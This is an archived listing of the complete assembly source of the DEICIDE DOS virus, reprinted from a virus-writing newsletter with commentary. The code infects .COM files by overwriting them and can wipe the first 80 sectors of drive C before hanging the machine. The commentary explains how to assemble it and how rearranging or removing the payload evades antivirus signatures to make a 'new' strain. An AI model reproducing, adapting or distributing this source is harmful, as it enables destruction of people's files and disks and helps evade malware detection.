home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / deicide.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.6 KB  |  219 lines

  1. ;***************************************************************************
  2.  
  3. ; Source code of the DEICIDE Virus, original author: Glen Benton
  4.  
  5. ; Assemble with A86 - Sanitized, English-ized and spruced up for inclusion
  6.  
  7. ; in Crypt Newsletter #7.  The Crypt reader will also notice the
  8.  
  9. ; DEICIDE listing has NO declarative red tape - no org's, no assume
  10.  
  11. ; cs,ds,es stuff, no start/ends pairs or proc labels.  For the average
  12.  
  13. ; reader, this means TASM and MASM will choke if you try to get them to
  14.  
  15. ; assemble this as is. A86 doesn't need it, as Isaacson is fond of saying,
  16.  
  17. ; and this listing can be assembled directly to a .COMfile
  18.  
  19. ; without the need of a linker.
  20.  
  21. ;
  22.  
  23. ; DEICIDE virus is a kamikaze overwriting .COM infector, with a length 
  24.  
  25. ; of 666 bytes in its original state. With A86, you get 665 bytes, which, we
  26.  
  27. ; assume ruins, the 'aesthetics' of things just a bit. (Try adding a NOP
  28.  
  29. ; to the listing if this bugs you too much.) Anyway, on call DEICIDE
  30.  
  31. ; jumps right to the root directory where it looks for a any .COM file
  32.  
  33. ; except COMMAND.COM to infect.
  34.  
  35. ;
  36.  
  37. ; If all files are infected, and DEICIDE is not on the C drive it attempts to 
  38.  
  39. ; ruin it anyway. If all files in the root on C are infected, the fixed disk 
  40.  
  41. ; is destroyed, a message displayed and the computer hung. 
  42.  
  43. ; If a program is successfully overwritten, DEICIDE exits to DOS 
  44.  
  45. ; after displaying 'File corruption error.' If DEICIDE is trapped on
  46.  
  47. ; a diskette that is write-protected, it will generate noxious 'Abort,
  48.  
  49. ; Retry, Ignore, Fail' messages.
  50.  
  51. ;
  52.  
  53. ; You can work with DEICIDE quite easily by commenting out the destructive
  54.  
  55. ; sequence and reassembling. Then it will merely mess up .COM's in
  56.  
  57. ; your root directory. If you forget that you're using NDOS or 4DOS, DEICIDE
  58.  
  59. ; will promptly foul your command processor and the operating system
  60.  
  61. ; won't load properly when you reboot. In an interesting side note, 
  62.  
  63. ; removing the destructive payload of DEICIDE causes SCAN to lose sight of
  64.  
  65. ; DEICIDE. (There's a simple poor man's method to a 'new' strain. Fool
  66.  
  67. ; your friends who think you've written a virus from scratch.)
  68.  
  69. ; The DEBUG script of DEICIDE has the destructive payload "rearranged" and
  70.  
  71. ; is not, strictly speaking, identical to this listing. This has made
  72.  
  73. ; that copy of DEICIDE (referred to in the scriptfile as DEICIDE2) 
  74.  
  75. ; functionally similar to the original, but 
  76.  
  77. ; still invisible to SCAN v85b and a number of other commercial products.
  78.  
  79. ; The lesson to be learned here is that software developers shouldn't choose
  80.  
  81. ; generic disk overwriting payloads as signatures for their scanners.
  82.  
  83. ;
  84.  
  85. ; I must confess I'm fascinated by the mind that went into creating DEICIDE.
  86.  
  87. ; Even in 1990, the DEICIDE was more of a 'hard disk bomb' than a virus.
  88.  
  89. ; Think a moment. How many files are in your root directory? How long before
  90.  
  91. ; this sucker activated and spoiled your afternoon? Once? Twice? In
  92.  
  93. ; any case, it still is an easily understood piece of code, enjoying its
  94.  
  95. ; own unique charm. Enjoy looking at DEICIDE. Your virus pal, URNST KOUCH.
  96.  
  97. ;***************************************************************************
  98.  
  99.  
  100.  
  101. Start_Prog:     jmp short Start_Virus
  102.  
  103.                 nop
  104.  
  105.  
  106.  
  107. Message         db 0Dh,0Ah,'DEICIDE!'
  108.  
  109.                 db 0Dh,0Ah
  110.  
  111.                 db 0Dh,0Ah,'Glenn (666) says : BYE BYE HARDDISK!!'
  112.  
  113.                 db 0Dh,0Ah
  114.  
  115.                 db 0Dh,0Ah,'Next time be carufull with illegal stuff......$'
  116.  
  117.  
  118.  
  119. Start_Virus:    mov ah,19h                      ; Get actual drive
  120.  
  121.                 int 21h
  122.  
  123.  
  124.  
  125.                 db 0A2h                         ; Mov [EA],al
  126.  
  127.                 dw offset Infect_Drive
  128.  
  129.                 db 0A2h                     ; A86 assembles this differently
  130.  
  131.                 dw offset Actual_Drive      ; so put the original code here
  132.  
  133.  
  134.  
  135.                 mov ah,47h                 ; Get actual directory
  136.  
  137.                 mov dl,0
  138.  
  139.                 mov si,offset Actual_Dir
  140.  
  141.                 int 21h
  142.  
  143.  
  144.  
  145.                 mov ah,1Ah                 ; stash DTA in safe place
  146.  
  147.                 mov dx,offset New_DTA
  148.  
  149.                 int 21h
  150.  
  151.  
  152.  
  153. Infect_Next:    mov ah,3Bh                 ; DOS chdir function, go to root dir
  154.  
  155.                 mov dx,offset Root_Dir
  156.  
  157.                 int 21h
  158.  
  159.  
  160.  
  161.                 mov ah,4Eh                 ; Search first .COM file
  162.  
  163.                 mov cx,0
  164.  
  165.                 mov dx,offset Search_Path  ; using file mask
  166.  
  167.                 int 21h
  168.  
  169.  
  170.  
  171. Check_Command:  mov al,'D'         ; Check if 7th char is a 'D' (To prevent
  172.  
  173.                 cmp [New_DTA+24h],al       ; infecting COMMAND.COM, causing 
  174.  
  175.                 jnz Check_Infect           ; noticeable boot failure)
  176.  
  177.                 jmp short Search_Next
  178.  
  179.                 nop
  180.  
  181.  
  182.  
  183. Check_Infect:   mov ah,3Dh             ; Open found file with write access
  184.  
  185.                 mov al,2
  186.  
  187.                 mov dx,offset New_DTA+1Eh
  188.  
  189.                 int 21h
  190.  
  191.                 mov File_Handle,ax              ; Save handle
  192.  
  193.                 mov bx,ax
  194.  
  195.  
  196.  
  197.                 mov ah,57h                      ; Get date/time of file
  198.  
  199.                 mov al,0                        ; why, for Heaven's sake?
  200.  
  201.                 int 21h
  202.  
  203.                 mov File_Date,dx
  204.  
  205.                 mov File_Time,cx
  206.  
  207.  
  208.  
  209.                 call Go_Beg_File                ; Go to beginning of file
  210.  
  211.  
  212.  
  213.                 mov ah,3Fh                      ; Read first 2 bytes
  214.  
  215.                 mov cx,2
  216.  
  217.                 mov dx,offset Read_Buf          ; into a comparison buffer
  218.  
  219.                 int 21h
  220.  
  221.  
  222.  
  223.                 mov al,byte ptr [Read_Buf+1]   ; now, take a look at the
  224.  
  225.                 cmp al,offset Start_Virus-102h ; buffer and the start of
  226.  
  227.                 jnz Infect                     ; DEICIDE. Is it the
  228.  
  229.                                                ; jump? If not, infect file
  230.  
  231.                 mov ah,3Eh                  ; Already infected, so close file
  232.  
  233.                 int 21h
  234.  
  235.  
  236.  
  237. Search_Next:    mov ah,4Fh                  ; Search next file function
  238.  
  239.                 int 21h
  240.  
  241.                 jnc Check_Command           ; No error - try this file
  242.  
  243.  
  244.  
  245.                 mov al,Infect_Drive         ; Skip to next drive,
  246.  
  247.                 cmp al,0                     
  248.  
  249.                 jnz No_A_Drive               
  250.  
  251.                 inc al
  252.  
  253. No_A_Drive:     inc al
  254.  
  255.                 cmp al,3                   ; Is the drive C:?
  256.  
  257.                 jnz No_Destroy             ; 
  258.  
  259.                                            ; if it is and haven't been
  260.  
  261.                                            ; able to infect
  262.  
  263.                 mov al,2                   ; Overwrite first 80 sectors, 
  264.  
  265.                 mov bx,0                   ; BUMMER!
  266.  
  267.                 mov cx,50h                 ; BUMMER!
  268.  
  269.                 mov dx,0                   ; BUMMER!
  270.  
  271.                 int 26h                    ; BUMMER!
  272.  
  273.                 
  274.  
  275.                 mov ah,9                   ; Show silly message 
  276.  
  277.                 mov dx,offset Message
  278.  
  279.                 int 21h
  280.  
  281.                 
  282.  
  283.  
  284.  
  285. Lock_System:    jmp short Lock_System  ; lock up the system so the poor fool
  286.  
  287.                                      ; has to start reloading right away 
  288.  
  289. No_Destroy:     mov dl,al                          ; New actual drive
  290.  
  291.                 mov ah,0Eh
  292.  
  293.                 mov Infect_Drive,dl                ; Save drive number.
  294.  
  295.                 int 21h
  296.  
  297.  
  298.  
  299.                 jmp Infect_Next
  300.  
  301.  
  302.  
  303. Infect:         call Go_Beg_File          ;call seek routine
  304.  
  305.  
  306.  
  307.                 mov ah,40h                ; Write DEICIDE to the file
  308.  
  309.                 mov cx,offset End_Virus-100h  ;right over the top, starting
  310.  
  311.                 mov dx,100h               ; at the beginning, thus messing
  312.  
  313.                 int 21h                   ; up everything
  314.  
  315.  
  316.  
  317.                 mov ah,57h                      ; Restore date/time of file
  318.  
  319.                 mov al,1                        ; why, for God's sake? You 
  320.  
  321.                 mov cx,File_Time                ; think no one will notice
  322.  
  323.                 mov dx,File_Date                ; file is destroyed?
  324.  
  325.                 int 21h
  326.  
  327.  
  328.  
  329.                 mov ah,3Eh                       ; Close file, let's be neat
  330.  
  331.                 int 21h
  332.  
  333.  
  334.  
  335.                 mov dl,byte ptr [Actual_Drive]   ; Back to original drive
  336.  
  337.                 mov ah,0Eh
  338.  
  339.                 int 21h
  340.  
  341.  
  342.  
  343.                 mov ah,3Bh                       ; And original dir
  344.  
  345.                 mov dx,offset Actual_Dir
  346.  
  347.                 int 21h
  348.  
  349.  
  350.  
  351.                 mov ah,9                      ; Show 'File corruption error.'
  352.  
  353.                 mov dx,offset Quit_Message    ; when destroyed, infected 
  354.  
  355.                 int 21h                       ; program misfires and DEICIDE
  356.  
  357.                                           ; executes so user may be placated
  358.  
  359.                 int 20h                   ; Exit back to DOS
  360.  
  361.  
  362.  
  363. Go_Beg_File:    mov ah,42h                ; Procedure: seek to start of file
  364.  
  365.                 mov al,0
  366.  
  367.                 mov cx,0
  368.  
  369.                 mov dx,0
  370.  
  371.                 int 21h
  372.  
  373.                 ret
  374.  
  375.  
  376.  
  377.  
  378.  
  379. File_Date       dw (?)
  380.  
  381. File_Time       dw (?)
  382.  
  383.  
  384.  
  385. File_Handle     dw (?)
  386.  
  387.  
  388.  
  389. Infect_Drive    db (?)
  390.  
  391.  
  392.  
  393. Root_Dir        db '\',0
  394.  
  395.  
  396.  
  397. Search_Path     db '*.COM',0
  398.  
  399.  
  400.  
  401. Read_Buf        db 2 dup (?)
  402.  
  403.  
  404.  
  405. Actual_Drive    db (?)
  406.  
  407.  
  408.  
  409.  
  410.  
  411. Quit_Message    db 'File corruption error.',0Dh,0Ah,'$'
  412.  
  413.  
  414.  
  415. New_DTA         db 2Bh dup (?)
  416.  
  417.  
  418.  
  419. Actual_Dir      db 40h dup (?)
  420.  
  421.  
  422.  
  423.                 db 'This experimental virus was written by Glenn Benton to '
  424.  
  425.                 db 'see if I can make a virus while learning machinecode for '
  426.  
  427.                 db '2,5 months. (C) 10-23-1990 by Glenn. I keep on going '
  428.  
  429.                 db 'making virusses.'
  430.  
  431.  
  432.  
  433. End_Virus:
  434.  
  435.  
  436.  
  437.